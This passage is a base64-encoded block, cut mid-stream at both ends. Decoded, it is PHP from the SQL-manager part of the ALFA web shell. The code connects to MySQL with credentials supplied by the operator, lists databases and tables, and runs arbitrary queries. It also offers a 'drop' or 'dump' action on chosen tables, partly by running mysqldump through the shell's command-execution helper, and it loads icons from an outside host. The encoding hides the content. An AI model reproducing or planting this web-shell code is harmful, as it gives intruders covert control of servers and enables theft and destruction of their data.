ewoJJGNvbm5lY3Rpb25fZGIgPSAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7CglpZigkY29ubmVjdGlvbl9kYiAmJiAhZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CgkJJGZvcm1fdmlzaWJpbGl0eSA9ICJub25lIjsKCX0KfQokZGF0YWJhc2VfbGlzdCA9IGFycmF5KCk7CmVjaG8gIgo8ZGl2IGNsYXNzPSdoZWFkZXInIHN0eWxlPSdtaW4taGVpZ2h0OjMwMHB4Oyc+Ii4oJGZvcm1fdmlzaWJpbGl0eSE9Im5vbmUiPyI8Y2VudGVyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFNxbCBNYW5hZ2VyIHw8L2Rpdj48cD4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8L3A+PC9jZW50ZXI+PGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbTogMTBweDsnPjxidXR0b24gY2xhc3M9J2Nvbm5lY3Rpb24taGlzLWJ0biBkYi1vcHQtaWQnIG9uY2xpY2s9J2FsZmFTaG93Q29ubmVjdGlvbkhpc3RvcnkodGhpcyk7JyBtb2RlPSdvbic+Q29ubmVjdGlvbiBIaXN0b3J5PC9idXR0b24+PGRpdiBjbGFzcz0nY29ubmVjdGlvbl9oaXN0b3J5X2hvbGRlcic+PC9kaXY+PC9kaXY+IjoiIikuIgo8ZGl2IGNsYXNzPSdzZicgY2xhc3M9J2RiLW9wdC1pZCc+PHRhYmxlIHN0eWxlPSdtYXJnaW46IDAgYXV0bzsiLigkZm9ybV92aXNpYmlsaXR5PT0ibm9uZSI/ImRpc3BsYXk6bm9uZTsiOiIiKS4iJyBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4KPHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VFlQRTwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SE9TVDwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgVVNFUjwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgUEFTUzwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgTkFNRTwvZGl2PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+Cjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyBzZWxlY3RlZD5teXNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2hvc3QnIGlkPSdkYl9ob3N0JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfbG9naW4nIGlkPSdkYl91c2VyJyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9wYXNzJyBpZD0nZGJfcHcnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4iJz48L3RkPjx0ZD4iOwokdG1wID0gIjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfYmFzZScgaWQ9J2RiX25hbWUnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2Jhc2UnXSkpIC4iJz4iOwppZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsKaWYoJGNvbm5lY3Rpb25fZGIpewokZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsKJGRiLT5saXN0RGJzKCk7CmVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7CndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7Cmxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwokZGF0YWJhc2VfbGlzdFtdID0gJHZhbHVlOwplY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOwp9CmVjaG8gJzwvc2VsZWN0Pic7Cn1lbHNlewoJZWNobyAkdG1wOwp9Cn1lbHNlCmVjaG8gJHRtcDsKJGN1cnJfbXlzcWxfaWQgPSAkX1BPU1RbJ2N1cnJlbnRfbXlzcWxfaWQnXTsKZWNobyAiPC90ZD4KPHRkPjxidXR0b24gb25jbGljaz0nZnModGhpcyk7cmV0dXJuIGZhbHNlOycgY2xhc3M9J2RiLW9wdC1pZCBkYi1jb25uZWN0LWJ0bic+Q29ubmVjdDwvYnV0dG9uPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3NxbF9jb3VudCcgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiA8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPmNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvZGl2PjwvdGQ+CjwvdHI+CjwvdGFibGU+IjsKaWYoJGRiLT5teXNxbGlfY29ubmVjdF9lcnJvcil7CgllY2hvICc8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1zaXplOiAxN3B4O21hcmdpbi10b3A6IDE4cHg7Ij4nLiRkYi0+bXlzcWxpX2Nvbm5lY3RfZXJyb3JfbXNnLic8L2Rpdj4nOwp9CmlmKCFlbXB0eSgkY3Vycl9teXNxbF9pZCkpewoJJHNxbF90aXRsZV9kYiA9ICIiOwoJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewoJCSRzcWxfdGl0bGVfZGIgPSAiZC5xdWVyeVNlbGVjdG9yKCcjdGFiXyIuJGN1cnJfbXlzcWxfaWQuIiBzcGFuJykuaW5uZXJIVE1MPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsiOwoJfQoJZWNobyAiPHNjcmlwdD5teXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2hvc3QnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2hvc3QnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWyd1c2VyJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9sb2dpbiddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ3Bhc3MnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX3Bhc3MnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydkYiddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2NoYXJzZXQnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnY2hhcnNldCddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ3R5cGUnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsndHlwZSddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2NvdW50J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9jb3VudCddKS4iJzsiLiRzcWxfdGl0bGVfZGIuImFsZmFDb25uZWN0aW9uSGlzdG9yeVVwZGF0ZSgpOzwvc2NyaXB0PiI7Cn0KaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewppZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CmVjaG8gIjxkaXYgY2xhc3M9J215c3FsLW1haW4nPjxkaXYgbW9kZT0nYmxvY2snIG9uY2xpY2s9J2FsZmFNeXNxbFRhYmxlUGFuZWxDdGwodGhpcyk7JyBjbGFzcz0ndGFibGVzLXBhbmVsLWN0bCBkYi1vcHQtaWQnPiYjeDNDOyYjeDNDOzwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXRhYmxlcyc+PGRpdj48aW5wdXQgcGxhY2Vob2xkZXI9XCJGaWx0ZXIgVGFibGVcIiBzdHlsZT0ncGFkZGluZzogMDttYXJnaW4tbGVmdDogMTFweDt0ZXh0LWFsaWduOmNlbnRlcjsnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbHRlcl9hbGwnPjxidXR0b24gY2xhc3M9J2RiLW9wdC1pZCcgb25jbGljaz0nYWxmYU15c3FsRmlsdGVyQWxsVGFibGUodGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nYmxvY2snPjxhIHNxbF9jb3VudD0nIi4oZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/ImZhbHNlIjoidHJ1ZSIpLiInIG1vZGU9J2Nsb3NlZCcgb25jbGljaz0nYWxmYU15c3FsRmlsdGVyQWxsVGFibGUodGhpcyx0cnVlKTsnIGNsYXNzPSdleHBhbmRlciBwYXJlbnQtZXhwYW5kZXIgZGItb3B0LWlkJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7Jz48aW1nIHNyYz0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfcGx1cy5wbmcnIHRpdGxlPSdFeHBhbmQvQ29sbGFwc2UgQWxsIERhdGFCYXNlcycgYWx0PSdFeHBhbmQvQ29sbGFwc2UgQWxsIERhdGFCYXNlcyc+PC9hPjwvZGl2Pjx1bCBzdHlsZT0nbWFyZ2luLXRvcDogMjhweDsnPiI7CmZvcmVhY2ggKCRkYXRhYmFzZV9saXN0IGFzICRkYl9uYW1lKSB7CgllY2hvICc8bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PGEgc3FsX2NvdW50PSInLihlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8iZmFsc2UiOiJ0cnVlIikuJyIgZGJfdGFyZ2V0PSInLiRkYl9uYW1lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEV4cGFuZGVyKHRoaXMpOyIgY2xhc3M9ImV4cGFuZGVyIGNscy0nLiRkYl9uYW1lLictZXhwYW5kZXIgZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7Ij48aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51LycuKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXT8iYl9taW51cy5wbmciOiJiX3BsdXMucG5nIikuJyIgdGl0bGU9IkV4cGFuZC9Db2xsYXBzZSIgYWx0PSJFeHBhbmQvQ29sbGFwc2UiPjwvYT48L2Rpdj48c3BhbiBjbGFzcz0iZGJfbmFtZSI+Jy4kZGJfbmFtZS4nPC9zcGFuPjxkaXYgY2xhc3M9ImNsZWFyZmxvYXQiPjwvZGl2PjxkaXYgZGJfbmFtZT0iJy4kZGJfbmFtZS4nIiBtb2RlPSInLigkZGJfbmFtZSA9PSAkX1BPU1RbJ3NxbF9iYXNlJ10/ImxvYWRlZCI6Im5vIikuJyIgY2xhc3M9Imxpc3RfY29udGFpbmVyIGNscy0nLiRkYl9uYW1lLiciPjxkaXY+JzsKCWlmKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXSl7CgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwoJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOwoJCWVjaG8gJzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJy4kZGJfbmFtZS4nIiBwbGFjZWhvbGRlcj0iRmlsdGVyIFRhYmxlIiBvbmtleXVwPSJhbGZhTXlzcWxGaWx0ZXJUYWJsZSh0aGlzKTsiIG5hbWU9ImZpbHRlciI+PC9kaXY+PC9saT4nOwoJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKXsKCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKCQlpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpCgkJJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gYCcuJHZhbHVlLidgJykpOwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsKCQllY2hvICI8bGk+PGRpdiBjbGFzcz0nYmxvY2snPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdiBjbGFzcz0ndGFibGVzLXJvdyc+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGNsYXNzPSdkYi1vcHQtaWQnIGRiX3RhcmdldD0nIi4kZGJfbmFtZS4iJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiYWxmYUxvYWRUYWJsZURhdGEodGhpcywnIi4kdmFsdWUuIicpXCI+PHNwYW4gY2xhc3M9J215c3FsX3RhYmxlcycgc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0Oyc+Ii4kdmFsdWUuIjwvc3Bhbj48L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD48c3BhbiBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7JyBjbGFzcz0nbXlzcWxfdGFibGVfY291bnQnPih7JG5bJ24nXX0pPC9zcGFuPjwvc21hbGw+IikgLiAiPC9kaXY+PC9saT4iOwoJCX0KCQllY2hvICc8L3VsPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OiAyNnB4O21hcmdpbi1ib3R0b206IDEwcHg7bWFyZ2luLXRvcDogMTBweDsiPjxpbnB1dCBvbmNoYW5nZT0iYWxmYU15c3FsVGFibGVzRXZpbCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIGNsYXNzPSJkYi1vcHQtaWQiIG5hbWU9InRhYmxlc19ldmlsIiBzdHlsZT0icGFkZGluZzogMDt3aWR0aDogMTAwcHg7Ij48b3B0aW9uIHNlbGVjdGVkPmRyb3A8L29wdGlvbj48b3B0aW9uPmR1bXA8L29wdGlvbj48L3NlbGVjdD4gPGJ1dHRvbiBvbmNsaWNrPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcEJ0bih0aGlzKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicuJGRiX25hbWUuJyIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJyIgY2xhc3M9ImRiLW9wdC1pZCI+RG8gaXQ8L2J1dHRvbj48ZGl2IGNsYXNzPSJkdW1wLWZpbGUtaG9sZGVyIiBzdHlsZT0iZGlzcGxheTpub25lO21hcmdpbi1sZWZ0OjIwcHg7bWFyZ2luLXRvcDogNXB4OyI+PGlucHV0IHN0eWxlPSJwYWRkaW5nOiAwO3RleHQtYWxpZ246Y2VudGVyOyIgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9ImR1bXAuc3FsIiBuYW1lPSJkdW1wX2ZpbGUiPjwvZGl2PjwvZGl2Pic7Cgl9CgllY2hvICI8L2Rpdj48L2xpPiI7Cn0KZWNobyAiPC91bD48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHRzJz48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHQtdGFicyc+PGRpdiBjbGFzcz0nZGItb3B0LWlkIG15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYicgdGFyZ2V0PScubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQnIG9uY2xpY2s9J2FsZmFNeXNxbFRhYkN0bCh0aGlzKTsnPlJlc3VsdDwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtcXVlcnktZm9ybScgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+UXVlcnk8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLXNlYXJjaC1hcmVhJyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5TZWFyY2g8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLXN0cnVjdHVyZScgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+U3RydWN0dXJlPC9kaXY+PGRpdiBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1pbnNlcnQtcm93JyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJDdGwodGhpcyk7Jz5JbnNlcnQ8L2Rpdj48ZGl2IHN0eWxlPSdkaXNwbGF5Om5vbmU7JyBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1lZGl0LXJvdycgb25jbGljaz0nYWxmYU15c3FsVGFiQ3RsKHRoaXMpOyc+RWRpdDwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtaW5zZXJ0LXJvdyBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtZWRpdC1yb3cgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXNlYXJjaC1hcmVhIG15c3FsLWhpZGUtY29udGVudCc+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1zdHJ1Y3R1cmUgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXF1ZXJ5LWZvcm0gbXlzcWwtaGlkZS1jb250ZW50Jz48ZGl2IHN0eWxlPSdtYXJnaW4tYm90dG9tOiA1cHg7Jz48c3Bhbj5RdWVyeTo8L3NwYW4+PC9kaXY+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6OTAlO2hlaWdodDoxMDBweCc+PC90ZXh0YXJlYT48cD48ZGl2IHN0eWxlPSdmbG9hdDpsZWZ0O21hcmdpbi1sZWZ0OiAzMHB4Oyc+PGlucHV0IGNsYXNzPSdidXR0b24gZGItb3B0LWlkJyBkYl90YXJnZXQ9JyIuJF9QT1NUWydzcWxfYmFzZSddLiInIG9uY2xpY2s9J2FsZmFNeXNxbFF1ZXJ5KHRoaXMpO3JldHVybiBmYWxzZTsnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZGl2PjwvcD48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50Jz48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyJz48ZGl2IHN0eWxlPSdtYXJnaW4tYm90dG9tOiAxMHB4OycgY2xhc3M9J215c3FsLXF1ZXJ5LXJlcG9ydGVyJz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1wYWdlcic+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktdGFibGUnPjwvZGl2PjwvZGl2PjwvZm9ybT48L3RkPjwvdHI+IjsKfQplY2hvICI8L3RhYmxlPjwvZGl2PiI7CmVjaG8gIjwvZGl2PiI7Cn1lbHNlewplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsKfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYVNxbF9tYW5hZ2VyX2FwaSgpewoJJGRiID0gJF9QT1NUWyJhbGZhMSJdOwoJJHR5cGUgPSAkX1BPU1RbImFsZmEyIl07Cgkkc3FsX2NvdW50ID0gJF9QT1NUWyJhbGZhMyJdID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKCSRkYiA9IEBqc29uX2RlY29kZSgkZGIsIHRydWUpOwoJJGNvbm4gPSBAbXlzcWxpX2Nvbm5lY3QoJGRiWyJob3N0Il0sICRkYlsidXNlciJdLCAkZGJbInBhc3MiXSwgJGRiWyJkYiJdKTsKCUBteXNxbGlfc2V0X2NoYXJzZXQoJGNvbm4sICJ1dGY4Iik7CglpZigkY29ubil7CgkJaWYoJHR5cGUgPT0gImxvYWRfYWxsX3RhYmxlcyIpewoJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBgdGFibGVfc2NoZW1hYCwgYHRhYmxlX25hbWVgIEZST00gYGluZm9ybWF0aW9uX3NjaGVtYWAuYHRhYmxlc2AgV0hFUkUgYHRhYmxlX3NjaGVtYWAgSU4gKCciLmltcGxvZGUoIicsJyIsICRkYlsiZGF0YWJhc2VzIl0pLiInKTsiKTsKCQkJJGNvdW50ID0gMDsKCQkJd2hpbGUoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHFfdGFibGVzKSl7CgkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkkY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WyJ0YWJsZV9zY2hlbWEiXS4nYC5gJy4kcm93WyJ0YWJsZV9uYW1lIl0uJ2AnKTsKCQkJCQlpZigkY291bnRfcSl7CgkJCQkJCSRjb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb3VudF9xKTsKCQkJCQkJJGNvdW50ID0gJGNvdW50WzBdOwoJCQkJCX0KCQkJCX0KCQkJCSR0YWJsZXNbJHJvd1sidGFibGVfc2NoZW1hIl1dW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1sidGFibGVfbmFtZSJdLCAiY291bnQiID0+IChpbnQpJGNvdW50KTsKCQkJfQoJCQlmb3JlYWNoKCRkYlsiZGF0YWJhc2VzIl0gYXMgJGRiKXsKCQkJCWlmKCFpc3NldCgkdGFibGVzWyRkYl0pKXsKCQkJCQkkdGFibGVzWyRkYl0gPSBudWxsOwoJCQkJfQoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKCR0YWJsZXMpOwoJCX1lbHNlaWYoJHR5cGUgPT0gImR1bXBfZHJvcCIpewoJCQlpZigkZGJbIm1vZGUiXSA9PSAiZHJvcCIpewoJCQkJZm9yZWFjaCAoJGRiWyJ0YWJsZXMiXSBhcyAkdGFibGUpIHsKCQkJCQlAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiRFJPUCBUQUJMRSBgIi4kdGFibGUuImA7Iik7CgkJCQl9CgkJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTSE9XIFRBQkxFUzsiKTsKCQkJCSRjb3VudCA9IDA7CgkJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcV90YWJsZXMpKXsKCQkJCQlpZigkc3FsX2NvdW50KXsKCQkJCQkJJGNvdW50X3EgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0VMRUNUIENPVU5UKCopIEZST00gYCcuJHJvd1swXS4nYCcpOwoJCQkJCQlpZigkY291bnRfcSl7CgkJCQkJCQkkY291bnQgPSBAbXlzcWxpX2ZldGNoX3JvdygkY291bnRfcSk7CgkJCQkJCQkkY291bnQgPSAkY291bnRbMF07CgkJCQkJCX0KCQkJCQl9CgkJCQkJJHRhYmxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRyb3dbMF0sICJjb3VudCIgPT4gKGludCkkY291bnQpOwoJCQkJfQoJCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7CgkJCX1lbHNlewoJCQkJaWYoc3RybGVuKGFsZmFFeCgibXlzcWxkdW1wIikpPjApewoJCQkJCWFsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiIuJGRiWyJob3N0Il0uIlwiIC0tdXNlcj1cIiIuJGRiWyJ1c2VyIl0uIlwiIC0tcGFzc3dvcmQ9XCIiLiRkYlsicGFzcyJdLiJcIiAiLiRkYlsiZGIiXS4iICIuaW1wbG9kZSgiICIsICRkYlsidGFibGVzIl0pLiIgID4gIi4kZGJbImR1bXBfZmlsZSJdKTsKCQkJCX1lbHNlewoJCQkJCSRmcCA9IEBmb3BlbigkZGJbImR1bXBfZmlsZSJdLCAidyIpOwoJCQkJCWZvcmVhY2ggKCRkYlsidGFibGVzIl0gYXMgJHRhYmxlKSB7CgkJCQkJCSRyZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CgkJCQkJCSRjcmVhdGUgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRyZXMpOwoJCQkJCQkkc3FsID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWJsZS4iYDtcbiIgLiAkY3JlYXRlWzFdLiI7XG4iOwoJCQkJCQlpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJCSR0YmxfZGF0YSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwoJCQkJCQkkaGVhZCA9IHRydWU7CgkJCQkJCXdoaWxlKCRpdGVtID0gQG15c3FsaV9mZXRjaF9hc3NvYygkdGJsX2RhdGEpKXsKCQkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CgkJCQkJCQlpZigkdiA9PSBudWxsKQoJCQkJCQkJJGl0ZW1bJGtdID0gIicnIjsKCQkJCQkJCWVsc2VpZihpc19udW1lcmljKCR2KSkKCQkJCQkJCSRpdGVtWyRrXSA9ICR2OwoJCQkJCQkJZWxzZQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLkBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7CgkJCQkJCQl9CgkJCQkJCQlpZigkaGVhZCkgewoJCQkJCQkJJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CgkJCQkJCQkkaGVhZCA9IGZhbHNlOwoJCQkJCQkJfSBlbHNlCgkJCQkJCQkkc3FsID0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOwoJCQkJCQkJaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCQl9CgkJCQkJCWlmKCEkaGVhZCkKCQkJCQkJCWlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2U